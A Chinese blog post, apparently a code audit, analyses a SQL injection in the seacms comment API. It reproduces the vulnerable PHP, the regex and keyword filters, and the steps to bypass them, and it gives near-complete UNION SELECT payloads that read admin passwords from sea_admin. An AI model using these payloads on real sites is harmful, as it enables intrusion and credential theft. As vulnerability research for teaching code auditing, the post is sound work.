0x01 写在前面
本文为小续师傅提供的漏洞,我来分析,续师傅还是牛逼的呀~
0x02 seacms介绍
海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频点播系统,采用的是 php5.X+mysql 的架构,使用 fofa 搜索可以看到存在 400+的记录:
0x03 漏洞分析
漏洞文件:./comment/api/index.php
,漏洞参数:$rlist
为了方便说明,加上这个文件也不是很长,所以把这个文件的内容贴出来分析:
关键内容如下:
<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
createTextFile($h,$jsoncachefile);
}
die($h);
function ReadData($id,$page)
{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}
function Readmlist($id,$page,$size)
{
global $dsql,$type,$pCount,$rlist;
$rlist = str_ireplace('@', "", $rlist);
$rlist = str_ireplace('/*', "", $rlist);
$rlist = str_ireplace('*/', "", $rlist);
$rlist = str_ireplace('*!', "", $rlist);
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist' );
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}
function Readrlist($ids,$page,$size)
{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}
function ReadReplyID($gid,$cmid,&$rlist)
{
global $dsql;
$rlist = str_ireplace('@', "", $rlist);
$rlist = str_ireplace('/*', "", $rlist);
$rlist = str_ireplace('*/', "", $rlist);
$rlist = str_ireplace('*!', "", $rlist);
if($cmid>0)
{
if(!in_array($cmid,$rlist))$rlist[]=$cmid;
$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
if(is_array($row))
{
$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);
}else
{
$ReplyID = "";
}
}else
{
$ReplyID = "";
}
return $ReplyID;
}
function FormatJson($json)
{
$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
for($i=6;$i>=0;$i--)
{
$x=str_replace("%".$i."%",$json[$i],$x);
}
$formatJson = jsonescape($x);
return $formatJson;
}
function jsonescape($txt)
{
$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));
return $jsonescape;
}
首先引入外部文件:require_once("../../include/common.php");
在该文件的第二行引入了通用检测文件require_once('webscan/webscan.php');
该通用检测文件将我们通过 get 传入的值放进webscan_StopAttack()
函数进行正则过滤,正则规则如下:
//get拦截规则
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
...
preg_match("/".$ArrFiltReq."/is",$StrFiltValue)
//$StrFiltValue为我们传入的每一个参数的值
//$ArrFiltReq为$getfilter变量
绕过该正则检测后,返回到 common.php
文件向下走:
采用 foreach 的方式赋值,以此来获取全局参数变量,如 以GET 方式:
foreach($_GET as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER|_FILES|_SESSION)',$_k))
{
Header("Location:$jpurl");
exit('err2');
}
}
首先判断传入变量的长度,然后再传入m_eregi()
函数判断,该函数内容如下:
function m_eregi($reg,$p){
$nreg=chgreg($reg)."i";
return preg_match(chgreg($reg),$p);
}
chgreg()
函数如下:
function chgreg($reg){
$nreg=str_replace("/","\\/",$reg);
return "/".$nreg."/";
}
以上代码结合起来就相当于下面的代码:
preg_match('/^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER|_FILES|_SESSION)/i',$_k)
即验证传入的参数是否含有以上字符串,若有,则跳转到首页然后退出,这里其实是对前几个版本出现的变量覆盖漏洞的修复,有兴趣的朋友可以看这篇文章:https://xz.aliyun.com/t/6198 ,是对 seacms 历史版本变量覆盖漏洞的总结。
在经过以上判断后,就获得了通过 get 传入的参数值,然后回到./comment/api/index.php
文件继续向下看:
function ReadData($id,$page)
{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}
首先进入了Readmlist()
函数,内容如下:
function Readmlist($id,$page,$size)
{
global $dsql,$type,$pCount,$rlist;
$rlist = str_ireplace('@', "", $rlist);
$rlist = str_ireplace('/*', "", $rlist);
$rlist = str_ireplace('*/', "", $rlist);
$rlist = str_ireplace('*!', "", $rlist);
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist' );
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}
首先对$rlist
变量进行了字符串检查,若存在@
、/*
、*/
、*!
字符,则将这些字符置空,然后将$type
、$id
等变量传入 sql 语句,执行语句后取值输出
跳出Readmlist()
回到ReadData()
函数继续向下看
以,
为连接符把$rlist
数组元素组合为一个字符串,然后赋值给变量$x
,最后将$x
传入Readrlist()
函数,来看该函数内容:
function Readrlist($ids,$page,$size)
{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}
$x
为该函数中的$ids
变量,直接传入了 SQL 语句,然后放入setQuery()
函数,来看看setQuery()
函数:
function SetQuery($sql)
{
$prefix="sea_";
$sql = str_replace($prefix,$this->dbPrefix,$sql);
$this->queryString = $sql;
}
把SQL语句里的sea_
替换为$this->dbPrefix
(在配置文件中为$cfg_dbprefix = '~dbprefix~';
)再返回 sql 语句,继续传入Execute()
:
function Execute($id="me", $sql='')
{
global $dsql;
self::$i++;
if($dsql->isClose)
{
$this->Open(false);
$dsql->isClose = false;
}
if(!empty($sql))
{
$this->SetQuery($sql);
}
//SQL语句安全检查
if($this->safeCheck)
{
CheckSql($this->queryString);
}
$t1 = ExecTime();
$this->result[$id] = mysqli_query($this->linkID,$this->queryString);
if($this->result[$id]===false)
{
$this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
}
}
该函数主要内容是对传入的 SQL 语句进行安全检测,若SQL 语句安全则继续执行SQL语句。
CheckSql($this->queryString);
函数内容如下:
function CheckSql($db_string,$querytype='select')
{
global $cfg_cookie_encode;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = sea_INC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
$userIP = GetIP();
$getUrl = GetCurUrl();
$db_string = str_ireplace('--', "", $db_string);
$db_string = str_ireplace('/*', "", $db_string);
$db_string = str_ireplace('*/', "", $db_string);
$db_string = str_ireplace('*!', "", $db_string);
$db_string = str_ireplace('//', "", $db_string);
$db_string = str_ireplace('\\', "", $db_string);
$db_string = str_ireplace('hex', "he", $db_string);
$db_string = str_ireplace('updatexml', "updatexm", $db_string);
$db_string = str_ireplace('extractvalue', "extractvalu", $db_string);
$db_string = str_ireplace('benchmark', "benchmar", $db_string);
$db_string = str_ireplace('sleep', "slee", $db_string);
$db_string = str_ireplace('load_file', "load-file", $db_string);
$db_string = str_ireplace('outfile', "out-file", $db_string);
$db_string = str_ireplace('ascii', "asci", $db_string);
$db_string = str_ireplace('char(', "cha", $db_string);
$db_string = str_ireplace('substr', "subst", $db_string);
$db_string = str_ireplace('substring', "substrin", $db_string);
$db_string = str_ireplace('script', "scrip", $db_string);
$db_string = str_ireplace('frame', "fram", $db_string);
$db_string = str_ireplace('information_schema', "information-schema", $db_string);
$db_string = str_ireplace('exp', "ex", $db_string);
$db_string = str_ireplace('GeometryCollection', "GeometryCollectio", $db_string);
$db_string = str_ireplace('polygon', "polygo", $db_string);
$db_string = str_ireplace('multipoint', "multipoin", $db_string);
$db_string = str_ireplace('multilinestring', "multilinestrin", $db_string);
$db_string = str_ireplace('linestring', "linestrin", $db_string);
$db_string = str_ireplace('multipolygon', "multipolygo", $db_string);
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//$notallow2 = "--|/\*";
if(m_eregi($notallow1,$db_string)){exit('SQL check');}
if(m_eregi('<script',$db_string)){exit('SQL check');}
if(m_eregi('/script',$db_string)){exit('SQL check');}
if(m_eregi('script>',$db_string)){exit('SQL check');}
if(m_eregi('if:',$db_string)){exit('SQL check');}
if(m_eregi('--',$db_string)){exit('SQL check');}
if(m_eregi('char(',$db_string)){exit('SQL check');}
if(m_eregi('*/',$db_string)){exit('SQL check');}
}
//完整的SQL检查
while (true)
{
$pos = stripos($db_string, '\'', $pos + 1);
if ($pos === false)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true)
{
$pos1 = stripos($db_string, '\'', $pos + 1);
$pos2 = stripos($db_string, '\\', $pos + 1);
if ($pos1 === false)
{
break;
}
elseif ($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (stripos($clean, '@') !== FALSE OR stripos($clean,'char(')!== FALSE OR stripos($clean,'script>')!== FALSE OR stripos($clean,'<script')!== FALSE OR stripos($clean,'"')!== FALSE OR stripos($clean,'$s$$s$')!== FALSE)
{
$fail = TRUE;
if(preg_match("#^create table#i",$clean)) $fail = FALSE;
$error="unusual character";
}
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
if (stripos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="union detect";
}
//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
elseif (stripos($clean, '/*') > 2 || stripos($clean, '--') !== false || stripos($clean, '#') !== false)
{
$fail = true;
$error="comment detect";
}
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (stripos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="sleep detect";
}
elseif (stripos($clean, 'updatexml') !== false && preg_match('~(^|[^a-z])updatexml($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="updatexml detect";
}
elseif (stripos($clean, 'extractvalue') !== false && preg_match('~(^|[^a-z])extractvalue($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="extractvalue detect";
}
elseif (stripos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="benchmark detect";
}
elseif (stripos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="file fun detect";
}
elseif (stripos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="file fun detect";
}
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{
$fail = true;
$error="sub select detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}
}
至此,整个漏洞挖掘的链就形成了,如下图所示:
可以看到,其实该漏洞挖掘的关键点有两个:
- 如何绕过 webscan_StopAttack()
- 如何绕过
CheckSql()
函数的检测
我们首先来看第一个关键点,我们知道一般的注入语句都是形如union select 1,2,3,4,5,6,7,pass,9 from admin --
形式
但在该过滤点使用正则过滤了union select
的形式:
UNION.+?SELECT\s*
这种过滤很容易绕,比如我们熟知的绕 waf 技巧%23%0a
就可以绕过该过滤,如下:
union%23%0aselect%23%0a1,2,3,4,5,6,7,pass,9 from admin --
(具体更多的方式可以阅读此文:https://www.secpulse.com/archives/53328.html)
接下来就是第二个关键点,CheckSql()
函数过滤了一大堆东西,这个函数原本是80sec 写的,开发者对这个过滤函数进行了修改:
可以看到,作者增加了对关键字符、关键字的过滤清空,但也正是这些多此一举的内容导致我们可以绕过这些过滤。
在80sec 防注入程序中有个特征就是会将两个单引号之间的内容,用字符串$s$
进行替换,例如insert into admin(username,passdord) value ('admin','hello')
会被替换为insert into admin(username,passdord) value ($s$,$s$)
因此我们可以利用这个特性使得$clean
变量中不会出现敏感字,从而绕过CheckSql()
函数检测
我们知道在Mysql中,定义变量用@字符,如我们可以使用set @panda=’test’
,来为变量赋值
在这里我们为了合法的构造出一个单引号,就可以用@'放入sql语句当中,来帮助我们绕过检查
需要注意的是,虽然我们绕过了检测,但我们的 SQL 语句中多了单引号,会导致原本的 SQL 语句失效,所以我们需要进一步来修改我们的注入语句,来利用注释符(/*
/*/
、#
)将单引号注释掉
因此语句为:
/*@`'`,*/UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin-- @`'`
但此时回头看,在Readmlist()
函数最开始的地方:
global $dsql,$type,$pCount,$rlist;
$rlist = str_ireplace('@', "", $rlist);
$rlist = str_ireplace('/*', "", $rlist);
$rlist = str_ireplace('*/', "", $rlist);
$rlist = str_ireplace('*!', "", $rlist);
对于这些字符进行了置空处理,因此如果我们直接传入,肯定会被过滤,导致我们的注释符失效,依旧不能达到我们的目的
但是注意,$rlist
是全局变量,因此在Readmlist()
函数中处理后的值,会保留继续传到Readrlist()
函数(上方的流程图显示的很明白),也就是说如果我们直接传入上方我们构建的语句,就会被过滤成:
`'`,UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin-- `'`
这显然传入 SQL语句中会报错,因此我们需要双写符号从而构建注释符,最终结果如下:
//**@`'`,**@//UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin--%20@`'`
这条语句首先进入Readmlist()
函数,变成了
/*@`'`,*/UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin-- @`'`
然后继续传入Readrlist()
函数,经过字符串替换变成了:
`'`,UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin `'`
成功构造出两个单引号,最终使得传入的语句为:$s$
,绕过所有的过滤
其实如果仅仅是这样,我们也是无法绕过过滤的,因为虽然我们绕过了检测,但是经过层层过滤和转换,最终的 SQL 语句并不是我们想要的,如果直接传入 mysqli_query()
去执行是会出错的。
但是骚气的地方是:
可以看到,经过 CheckSql()
函数过滤的 SQL 语句并没有传入 mysqli_query()
中去执行,在mysqli_query()
中执行的是原始的,在Readmlist()
函数中处理后的语句。这里的 CheckSql()
函数也仅仅是起到判断作用,根本是没有对传入的 SQL 语句进行处理。
我们可以看到最终传入 mysqli_query()
中去执行的 SQL 语句如下图所示:
最终的执行效果:
0x04 结尾
最终没有直接给出 payload,留下了两个坑点。文章内其实已经写得很明白了,注意参数变量类型,编码,基本上就可以构建出最后的 pyaload,此文的目的是想让大家进一步学习代码审计相关的知识,有的时候,并不是写得过滤内容越多越好,还是要看我们最终执行的地方是否存在问题。
使用微信扫描二维码完成支付